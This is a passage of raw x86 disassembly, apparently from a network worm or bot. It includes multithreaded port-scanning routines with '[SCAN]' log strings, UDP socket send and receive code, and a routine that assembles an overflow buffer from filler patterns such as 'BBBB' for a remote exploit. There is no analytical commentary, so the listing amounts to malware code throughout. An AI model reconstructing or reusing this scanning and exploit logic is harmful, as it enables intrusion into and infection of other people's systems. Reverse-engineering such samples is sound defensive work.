arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423892
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423892: ; CODE XREF: sub_423860+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_511AC8
add esp, 18h
cmp eax, ebx
jnz short loc_4238CA
call esi
mov [esp+1Ch+var_8], eax
loc_4238CA: ; CODE XREF: sub_423860+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4238D6
call esi
mov [esp+1Ch+var_C], eax
loc_4238D6: ; CODE XREF: sub_423860+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4238E2
call esi
mov [esp+1Ch+var_10], eax
loc_4238E2: ; CODE XREF: sub_423860+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4238EC
call esi
loc_4238EC: ; CODE XREF: sub_423860+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50DB60[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423860 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423950 proc near ; CODE XREF: sub_401E56j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42397E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42397E: ; CODE XREF: sub_423950+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
call near ptr 71AB2DC0h
nop
push esi
mov edi, eax
nop
call near ptr 71AB9639h
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423950 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423A40: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_437B30
push ebx
push ebp
mov ebp, dword_511C38
push esi
push edi
push 2649h
call ebp
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp
mov [esp+26h], ax
nop
call near ptr 77C371D3h
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A37
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423B69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423C68
; ---------------------------------------------------------------------------
loc_423B69: ; CODE XREF: ___:00423B5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
nop
call near ptr 71AB2C69h
mov edi, eax
cmp edi, 14h
jz short loc_423BC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
nop
call near ptr word_5F67AE
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423BC2: ; CODE XREF: ___:00423B87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423C13
mov edi, dword_511C64
loc_423BEA: ; CODE XREF: ___:00423C11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi
test eax, eax
jl short loc_423C42
cmp [esp+0FEh], bp
jnz short loc_423BEA
loc_423C13: ; CODE XREF: ___:00423BE2j
push esi
nop
call near ptr 71AB9639h
cmp word ptr [esp+10Eh], 1
jnz short loc_423C63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C42: ; CODE XREF: ___:00423C07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C63: ; CODE XREF: ___:00423C23j
push offset dword_4456F4
loc_423C68: ; CODE XREF: ___:00423B64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423D10: ; CODE XREF: ___:loc_401F41j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
call near ptr 27E0CD2h
nop
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:44AF9Bh[eax*4]
mov eax, dword_44B19F[eax*4]
mov ecx, dword_50DB64[eax*8]
test ecx, ecx
jz loc_423FBE
mov ebx, dword_511C00
loc_423D8C: ; CODE XREF: ___:00423FB4j
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423DA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423DAF
; ---------------------------------------------------------------------------
loc_423DA7: ; CODE XREF: ___:00423D96j
call sub_401F55
add esp, 4
loc_423DAF: ; CODE XREF: ___:00423DA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_511C88
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx
lea ecx, [esp+238h]
push ecx
push ebp
call ebx
mov edx, [esp+150h]
mov eax, [esp+14Ch]
push edx
push eax
push esi
call sub_401E56
add esp, 2Ch
cmp eax, 1
jnz loc_423F9A
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423EBF
push offset dword_50FAA0
nop
call near ptr 7C901005h
mov ecx, [esp+12Ch]
push ecx
push esi
call edi
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423E9F
mov al, [esp+0A8h]
test al, al
jz short loc_423E7A
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423E97
; ---------------------------------------------------------------------------
loc_423E7A: ; CODE XREF: ___:00423E56j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423E97: ; CODE XREF: ___:00423E78j
call sub_40152D
add esp, 10h
loc_423E9F: ; CODE XREF: ___:00423E4Bj
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50FAA0
nop
call near ptr 7C9010EDh
jmp loc_423F9A
; ---------------------------------------------------------------------------
loc_423EBF: ; CODE XREF: ___:00423E13j
push esi
call edi
push eax
lea eax, [esp+16Ch]
push eax
call ebx
mov eax, [esp+150h]
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+200h]
lea edx, ds:445408h[ecx*4]
push edx
push eax
call ebx
mov al, [esp+0B8h]
add esp, 10h
test al, al
jz short loc_423F0C
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423F19
; ---------------------------------------------------------------------------
loc_423F0C: ; CODE XREF: ___:00423EF8j
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423F19: ; CODE XREF: ___:00423F0Aj
call ebx
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_445434[edx*4]
add esp, 0BCh
loc_423F9A: ; CODE XREF: ___:00423E05j
; ___:00423EBAj
push 7D0h
call near ptr 2831CE8h
nop
mov eax, [ebp+204h]
mov ecx, dword_50DB64[eax*8]
test ecx, ecx
jnz loc_423D8C
mov esi, [esp+10h]
loc_423FBE: ; CODE XREF: ___:00423D80j
push esi
call sub_401E3D
add esp, 4
push 0
nop
call near ptr 2840000h
nop
; ---------------------------------------------------------------------------
db 0B0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_402284j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50DB60[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_40148D
add esp, 150h
cmp eax, ebx
jnz short loc_424101
push offset dword_50FAA0
nop
call near ptr 2780765h
push offset dword_50FAA0
nop
call near ptr 2790000h
loc_424101: ; CODE XREF: ___:004240E9j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_5118D8
mov esi, ebx
mov dword_50DB64[edx*8], ebx
cmp eax, ebx
mov ebx, dword_511C00
jb loc_424230
mov edi, dword_51186C
loc_424132: ; CODE XREF: ___:0042422Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BEA
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F41
push 0
push 0
mov dword_44B19F[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_44B1AF[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_44B1AF[eax*4]
test ecx, ecx
jz short loc_4241F8
mov eax, [esp+158h]
test eax, eax
jnz short loc_42421E
loc_4241E7: ; CODE XREF: ___:004241F4j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_4241E7
jmp short loc_42421E
; ---------------------------------------------------------------------------
loc_4241F8: ; CODE XREF: ___:004241DAj
nop
call near ptr 27C08B7h
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42421E: ; CODE XREF: ___:004241E5j
; ___:004241F6j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_424132
loc_424230: ; CODE XREF: ___:00424126j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42425E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_424291
; ---------------------------------------------------------------------------
loc_42425E: ; CODE XREF: ___:00424239j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50DB64[ecx*8], esi
jnz short loc_424291
loc_424273: ; CODE XREF: ___:00424288j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp dword_50DB64[edx*8], esi
jz short loc_424273
mov eax, [esp+12Ch]
loc_424291: ; CODE XREF: ___:0042425Cj
; ___:00424271j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50DB60[ecx*8]
push ecx
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_4242F2
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_40152D
add esp, 10h
loc_4242F2: ; CODE XREF: ___:004242CBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50DB64[eax*8], 0
call ebp
push 3
call sub_40148D
add esp, 4
cmp eax, esi
jnz short loc_424334
push offset dword_50FAA0
nop
call near ptr 2780765h
loc_424334: ; CODE XREF: ___:00424327j
mov ecx, [esp+130h]
push ecx
call sub_401E3D
add esp, 4
push 0
call near ptr 2840000h
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424410 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424410 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424430: ; CODE XREF: ___:004015EBj
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401843
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424480 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4244D2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4244D2: ; CODE XREF: sub_424480+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_424480 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4021F8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424574
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424500 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245A0 proc near ; CODE XREF: sub_4016C2j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4245B3
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
loc_4245B3: ; CODE XREF: sub_4245A0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4245A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245E0 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_4245F7
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4245F7: ; CODE XREF: sub_4245E0+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
nop
call near ptr 77C2C407h
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424625
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424625: ; CODE XREF: sub_4245E0+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424654
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42466F
; ---------------------------------------------------------------------------
loc_424654: ; CODE XREF: sub_4245E0+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42466F: ; CODE XREF: sub_4245E0+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_4245E0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_401B7Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_448F44
lea ecx, [esp+20h+var_8]
call sub_4021F8
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424715
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424715: ; CODE XREF: sub_4246D0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016C2
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016C2
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4247B0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4247B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_402054j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424800 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401505j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424870 proc near ; CODE XREF: sub_4017D5j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_424884
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424884: ; CODE XREF: sub_424870+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_445C1C
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4248E0 proc near ; CODE XREF: sub_401EC9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_401505
test al, al
jnz short loc_4248FC
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4248FC: ; CODE XREF: sub_4248E0+16j
mov ecx, esi
call sub_4017D5
pop esi
retn 8
sub_4248E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424920 proc near ; CODE XREF: sub_401BFEj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424CF5
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424CF5
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_4458B8
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_4458C0
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B7C
lea ecx, [esp+864h+var_830]
call sub_4017D5
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B7C
push offset loc_445C40
lea ecx, [esp+868h+var_810]
call sub_402054
lea ecx, [esp+864h+var_810]
call sub_401B7C
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401843
lea ecx, [esp+864h+var_808]
call sub_401B7C
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EC9
lea ecx, [esp+864h+var_808]
call sub_4016C2
mov ecx, 200h
mov eax, 43434343h
